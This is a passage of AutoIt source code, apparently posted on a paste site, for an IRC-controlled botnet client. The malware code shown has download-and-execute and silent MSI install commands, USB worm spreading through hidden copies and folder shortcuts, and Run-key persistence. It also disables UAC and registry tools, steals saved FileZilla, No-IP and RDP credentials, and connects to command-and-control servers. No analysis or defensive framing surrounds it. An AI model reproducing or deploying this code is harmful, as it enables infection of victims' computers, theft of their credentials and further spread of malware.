  1166.                     $aspace[2] = Chr(Random(48, 57, 1))
  1167.                     $exe &= $aspace[Random(0, 2, 1)]
  1168.                 Next
  1169.                 Dim $hdownload = InetGet($stemp[3], @TempDir & "\" & $exe & ".exe", 1, 0)
  1170.                 Run(@TempDir & "\" & $exe & ".exe", "", @SW_HIDE)
  1171.                 sendmessage($sock, "Downloaded and executed!", $channel)
  1172.             EndIf
  1173.         Case "usb"
  1174.             If $signedin = True Then
  1175.                 Local $drivecount = lnk()
  1176.                 sendmessage($sock, "Infected " & $drivecount & " removable drives.", $channel)
  1177.             EndIf
  1178.         Case "silentinstall"
  1179.             If _elementexists($stemp, 3) And $signedin = True Then
  1180.                 $msi = ""
  1181.                 Dim $aspace[3]
  1182.                 $Digits = 8
  1183.                 For $i = 1 To $Digits
  1184.                     $aspace[0] = Chr(Random(65, 90, 1))
  1185.                     $aspace[1] = Chr(Random(97, 122, 1))
  1186.                     $aspace[2] = Chr(Random(48, 57, 1))
  1187.                     $msi &= $aspace[Random(0, 2, 1)]
  1188.                 Next
  1189.                 Dim $hdownload = InetGet($stemp[3], @TempDir & "\" & $msi & ".msi", 1, 0)
  1190.                 Run("MsiExec.exe /i """ & @TempDir & "\" & $msi & ".msi"" /qn /norestart", "", @SW_HIDE)
  1191.                 sendmessage($sock, "Silently installing...", $channel)
  1192.             EndIf
  1193.         Case "update"
  1194.             If _elementexists($stemp, 3) And $signedin = True Then
  1195.                 dlexe($stemp[3])
  1196.                 RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services")
  1197.                 RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Services")
  1198.                 sendmessage($sock, "Updated!", $channel)
  1199.                 Exit
  1200.             EndIf
  1201.     EndSwitch
  1202. EndFunc   ;==>cmd
  1203. Func connect($nodes)
  1204.     For $i = 1 To UBound($nodes) - 1
  1205.         $mynode = $nodes[$i]
  1206.         If $mynode <> "" Then
  1207.             $sock = TCPConnect(TCPNameToIP(StringSplit($mynode, ":")[1]), Number(StringSplit($mynode, ":")[2]))
  1208.             If $sock <> -1 Then
  1209.                 ExitLoop
  1210.             EndIf
  1211.         EndIf
  1212.     Next
  1213.     If $sock == -1 Then
  1214.         Return -1
  1215.     EndIf
  1216.     nickname($sock)
  1217.     TCPSend($sock, "USER " & $botid & " 0 * :" & $botid & @CRLF)
  1218.     Return $sock
  1219. EndFunc   ;==>connect
  1220. Func dlexe($url)
  1221.     $exe = ""
  1222.     Dim $aspace[3]
  1223.     $Digits = 8
  1224.     For $i = 1 To $Digits
  1225.         $aspace[0] = Chr(Random(65, 90, 1))
  1226.         $aspace[1] = Chr(Random(97, 122, 1))
  1227.         $aspace[2] = Chr(Random(48, 57, 1))
  1228.         $exe &= $aspace[Random(0, 2, 1)]
  1229.     Next
  1230.     Dim $hdownload = InetGet($url, @TempDir & "\" & $exe & ".exe", 1, 0)
  1231.     Run(@TempDir & "\" & $exe & ".exe", "", @SW_HIDE)
  1232. EndFunc   ;==>dlexe
  1233. Func FileZilla()
  1234.     Local $pwds, $h, $FN = @AppDataDir & "\FileZilla\recentservers.xml"
  1235.     If FileExists($FN) = False Then Return ""
  1236.     $h = FileOpen($FN, 0)
  1237.     If $h = -1 Then Return ""
  1238.     $host = ""
  1239.     $port = 21
  1240.     $usr = ""
  1241.     $pw = ""
  1242.     While True
  1243.         $line = FileReadLine($h)
  1244.         If @error = -1 Then ExitLoop
  1245.         If StringInStr($line, "<Host>") Then
  1246.             $usr = ""
  1247.             $pw = ""
  1248.             $port = 21
  1249.             $host = StringMid($line, 1, StringInStr($line, "</") - 1)
  1250.             $host = StringMid($host, StringInStr($host, ">") + 1)
  1251.         EndIf
  1252.         If StringInStr($line, "<Port>") Then
  1253.             $port = StringMid($line, 1, StringInStr($line, "</") - 1)
  1254.             $port = StringMid($port, StringInStr($port, ">") + 1)
  1255.         EndIf
  1256.         If StringInStr($line, "<User>") Then
  1257.             $usr = StringMid($line, 1, StringInStr($line, "</") - 1)
  1258.             $usr = StringMid($usr, StringInStr($usr, ">") + 1)
  1259.         EndIf
  1260.         If StringInStr($line, "<Pass encoding=""base64"">") Then
  1261.             $pw = StringMid($line, 1, StringInStr($line, "</") - 1)
  1262.             $pw = base64(StringMid($pw, StringInStr($pw, ">") + 1), False)
  1263.         EndIf
  1264.         If StringInStr($line, "</Server>") Then
  1265.             $pwds = $pwds & "URL: ftp://" & $host & ":" & $port & " USR: " & $usr & " PWD: " & $pw & "|"
  1266.         EndIf
  1267.     WEnd
  1268.     Return $pwds
  1269. EndFunc   ;==>FileZilla
  1270. Func fixsys()
  1271.     $read_showsuperhidden = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden")
  1272.     If $read_showsuperhidden = "1" Then
  1273.         RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0)
  1274.     EndIf
  1275.     $read_disableregistrytools = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools")
  1276.     If $read_disableregistrytools = "0" Then
  1277.         RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1)
  1278.     EndIf
  1279.     $read_nofolderoptions = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions")
  1280.     If $read_nofolderoptions = "0" Then
  1281.         RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1)
  1282.     EndIf
  1283.     $read_uac = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
  1284.     If $read_uac = "1" Then
  1285.         RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA", "REG_DWORD", "0")
  1286.     EndIf
  1287. EndFunc   ;==>fixsys
  1288. Func genIP()
  1289.     While 1
  1290.         $sIPAddr = Random(1, 255, 1) & "." & Random(1, 255, 1) & "." & Random(1, 255, 1) & "." & Random(1, 255, 1)
  1291.         If StringRegExp($sIPAddr, "^((25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(25[0-5]|2[0-4]\d|[01]?\d?\d)$") Then Return $sIPAddr
  1292.     WEnd
  1293. EndFunc   ;==>genIP
  1294. Func GetLastError()
  1295.     Local $aiE = DllCall("kernel32.dll", "dword", "GetLastError")
  1296.     Return $aiE[0]
  1297. EndFunc   ;==>GetLastError
  1298. Func joinchannel($irc, $channel)
  1299.     If $irc = -1 Then Return 0
  1300.     TCPSend($irc, "JOIN " & $channel & @CRLF)
  1301.     If @error Then
  1302.         Return -1
  1303.     EndIf
  1304.     Return 1
  1305. EndFunc   ;==>joinchannel
  1306.  
  1307. Func install()
  1308.     DirCreate($installdir)
  1309.     FileCopy(@ScriptFullPath, $installpath, 8)
  1310.     FileSetAttrib($installdir, "+SH")
  1311.     FileSetAttrib($installpath, "+SH")
  1312.     RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services", "REG_SZ", $installpath)
  1313.     If IsAdmin() Then
  1314.         RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Services", "REG_SZ", $installpath)
  1315.     EndIf
  1316. EndFunc
  1317. Func lnk()
  1318.     Local $aArray = DriveGetDrive("REMOVABLE")
  1319.     Local $drivecount = 0
  1320.     For $i = 0 To UBound($aArray) - 1
  1321.         Local $Drive = StringUpper($aArray[$i])
  1322.         $x = _FileListToArray($Drive & "\", "*")
  1323.         If @error Then Return $drivecount
  1324.         FileCopy(@ScriptFullPath, $Drive & "\link.exe")
  1325.         Local $p = $Drive & "\link.exe"
  1326.         FileSetAttrib($p, "+H")
  1327.         For $name In $x
  1328.             If StringInStr(FileGetAttrib($name), "D") Then
  1329.                 FileCreateShortcut($p, StringUpper($aArray[$i]) & "\" & $name, "", "", "", "%windir%\system32\shell32.dll", "", 3, @SW_SHOWNOACTIVATE)
  1330.             EndIf
  1331.         Next
  1332.         $drivecount += 1
  1333.     Next
  1334.     Return $drivecount
  1335. EndFunc   ;==>lnk
  1336. Func newnickname($irc)
  1337.     $nick = $nickformat & randID()
  1338.     TCPSend($irc, "NICK " & $nick & @CRLF)
  1339. EndFunc   ;==>newnickname
  1340. Func nickname($irc)
  1341.     TCPSend($irc, "NICK " & $nick & @CRLF)
  1342. EndFunc   ;==>nickname
  1343. Func NOIP()
  1344.     Local $pwd = ""
  1345.     $usr = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username")
  1346.     If $usr = "" Then Return ""
  1347.     $usr = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password")
  1348.     Return "URL: http://no-ip.com/ USR: " & $usr & " PWD (Base64): " & $pwd
  1349. EndFunc   ;==>NOIP
  1350. Func pong($irc, $ret)
  1351.     If $ret = "" Then Return -1
  1352.     TCPSend($irc, "PONG " & $ret & @CRLF)
  1353.     If @error Then
  1354.         Return -1
  1355.     EndIf
  1356.     Return 1
  1357. EndFunc   ;==>pong
  1358. Func randID()
  1359.     Dim $aspace[3]
  1360.     $id = ""
  1361.     $Digits = 8
  1362.     For $i = 1 To $Digits
  1363.         $aspace[0] = Chr(Random(65, 90, 1))
  1364.         $aspace[1] = Chr(Random(97, 122, 1))
  1365.         $aspace[2] = Chr(Random(48, 57, 1))
  1366.         $id &= $aspace[Random(0, 2, 1)]
  1367.     Next
  1368.     Return $id
  1369. EndFunc   ;==>randID
  1370. Func sendmessage($irc, $msg, $chan = "")
  1371.     If $irc = -1 Then Return 0
  1372.     If $chan = "" Then
  1373.         TCPSend($irc, $msg & @CRLF)
  1374.         If @error Then
  1375.             Return -1
  1376.         EndIf
  1377.         Return 1
  1378.     EndIf
  1379.     TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF)
  1380.     If @error Then
  1381.         Return -1
  1382.     EndIf
  1383.     Return 1
  1384. EndFunc   ;==>sendmessage
  1385. Func UncryptRDPPassword($bin)
  1386.     Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
  1387.     Local Const $DATA_BLOB = "int;ptr"
  1388.     Local $passStr = DllStructCreate("byte[1024]")
  1389.     Local $DataIn = DllStructCreate($DATA_BLOB)
  1390.     Local $DataOut = DllStructCreate($DATA_BLOB)
  1391.     $pwDescription = 'psw'
  1392.     $PwdHash = ""
  1393.     DllStructSetData($DataOut, 1, 0)
  1394.     DllStructSetData($DataOut, 2, 0)
  1395.     DllStructSetData($passStr, 1, $bin)
  1396.     DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
  1397.     DllStructSetData($DataIn, 1, BinaryLen($bin))
  1398.     $Return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
  1399.             "ptr", DllStructGetPtr($DataIn), _
  1400.             "ptr", 0, _
  1401.             "ptr", 0, _
  1402.             "ptr", 0, _
  1403.             "ptr", 0, _
  1404.             "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
  1405.             "ptr", DllStructGetPtr($DataOut))
  1406.     If @error Then Return ""
  1407.     $len = DllStructGetData($DataOut, 1)
  1408.     $PwdHash = Ptr(DllStructGetData($DataOut, 2))
  1409.     $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
  1410.     Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
  1411. EndFunc   ;==>UncryptRDPPassword
  1412.  
Add Comment
Please, Sign In to add comment